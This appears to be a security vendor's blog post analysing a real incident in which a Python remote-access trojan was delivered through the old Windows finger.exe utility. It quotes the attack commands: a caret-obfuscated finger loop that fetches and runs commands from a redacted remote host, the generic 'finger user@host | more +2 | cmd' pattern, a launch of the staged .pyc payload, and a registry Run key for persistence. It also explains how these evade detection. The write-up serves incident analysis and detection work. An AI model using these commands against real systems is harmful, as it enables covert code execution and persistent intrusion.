Finger Protocol Malware: Python RAT via a 1970s LOLBin | Artemis

Book a Demo

A Protocol From 1977 Is Still Delivering Malware in 2026

Hadar Waldman<br>July 15, 2026

The finger protocol is older than the web, disabled on every server that matters, and still a working malware delivery channel on a default Windows install. Here it planted a Python RAT that was alerting the whole time. One genuine compromise, drowned in thousands of benign look-alikes, invisible until something cut through the noise.

A compiled-Python remote-access trojan was re-launching on an employee’s laptop on every login , and the company’s endpoint agent was alerting on it the entire time. Every alert was configured alert-only, so it flagged and never contained. None were acted on.

The delivery mechanism was the giveaway: an obfuscated finger command, caret-escaped to read f^i^n^g^e^r, abusing the ancient Finger protocol to pull attacker commands off a remote host and run them inline.

From there the chain is modern and mundane: a signed Python interpreter dropped as a living-off-the-land binary, a .pyc payload staged in C:\ProgramData\, a registry Run key for persistence, and a second-stage module dropped by PowerShell an hour later. None of it was novel. All of it matches an active 2025–2026 campaign cluster.

What was missing was anyone connecting the alerts into a story. Which is where this one gets interesting: the customer had connected their endpoint telemetry to Artemis two days before it surfaced.

The expected behavior

The endpoint agent was not blind. Its behavioral rule for suspicious Python execution was firing on this host, with tens of thousands of alert events on the rule overall .

The problem was twofold.

The rule was configured alert-only. It flagged, and never contained.

And it was noisy. The same rule fired harmlessly on two other machines in the environment (one running ordinary developer tooling, another a vendor’s scientific-software installer) and those two produced the bulk of that volume. Python executing on a developer’s laptop is expected. Python executing from C:\ProgramData\ under a finger ancestor is not. But nothing in the rule could tell those apart.

The one genuinely compromised host was a needle in a haystack the rule itself had built . Every alert was individually true and collectively ignored.

The gap wasn’t detection. It was the distance between an alert firing and someone understanding what it meant.

The delivery: a protocol from 1977

The Finger protocol dates to 1977. It answers one question, "who is logged in on this host?", over TCP port 79, and virtually nobody runs a finger daemon anymore.

But finger.exe still ships with Windows. In 2020, researcher John Page (hyp3rlinx) showed it could be turned into a file downloader: query user@host, and whatever the remote "finger server" returns comes back as text you can pipe straight into cmd. The LOLBAS project has carried the entry ever since, in the canonical form finger user@host | more +2 | cmd. The more +2 strips the protocol’s preamble so only the attacker’s commands reach the shell.

On this endpoint, the same idea appeared as a for loop:

cmd.exe /K for /f "skip=8 delims=" %T in ('f^i^n^g^e^r adfvjnujihbkj@REDACTED-DELIVERY-DOMAIN') do %TCode language: JavaScript (javascript)

Two things are worth pulling apart.

The for /f "skip=8" is the header-strip primitive: drop the first eight lines of the finger response, treat every remaining line as a command, and execute it (do %T).

And the binary name is written f^i^n^g^e^r. The caret is cmd.exe‘s escape character, discarded at parse time, so the process that launches is finger. But any detection rule doing literal string matching on the command line sees f^i^n^g^e^r and misses it. Caret insertion is old, well-documented obfuscation tracing back to Daniel Bohannon’s DOSfuscation work, and pairing it with finger is exactly what current campaigns do.

The point of using finger is evasion. It isn’t HTTP, so web proxies and TLS inspection don’t see it. finger.exe is a legitimate signed Windows binary, so application allow-listing lets it run. And port 79 is unusual enough that most environments have no rule watching it, while finger.exe is common enough as a native binary that its execution looks unremarkable in isolation.

The chain, stage by stage

Two seconds after the finger call returned, the staged payload launched, and persistence went in at the same instant:

cmd /c start /b C:\ProgramData\Python\pythonw.exe C:\ProgramData\Python\main.pyc

cmd /c reg add HKCU\...\CurrentVersion\Run /v Py /t REG_SZ /d "...pythonw.exe ...main.pyc" /f >nul 2>&1Code language: JavaScript (javascript)

The interpreter here, pythonw.exe, is the genuine, valid, Python-Software-Foundation-signed Python for Windows, dropped by the attacker and pointed at their own compiled main.pyc.

That is the living-off-the-land move. The malicious logic lives in the .pyc, and it runs inside a binary that every signature...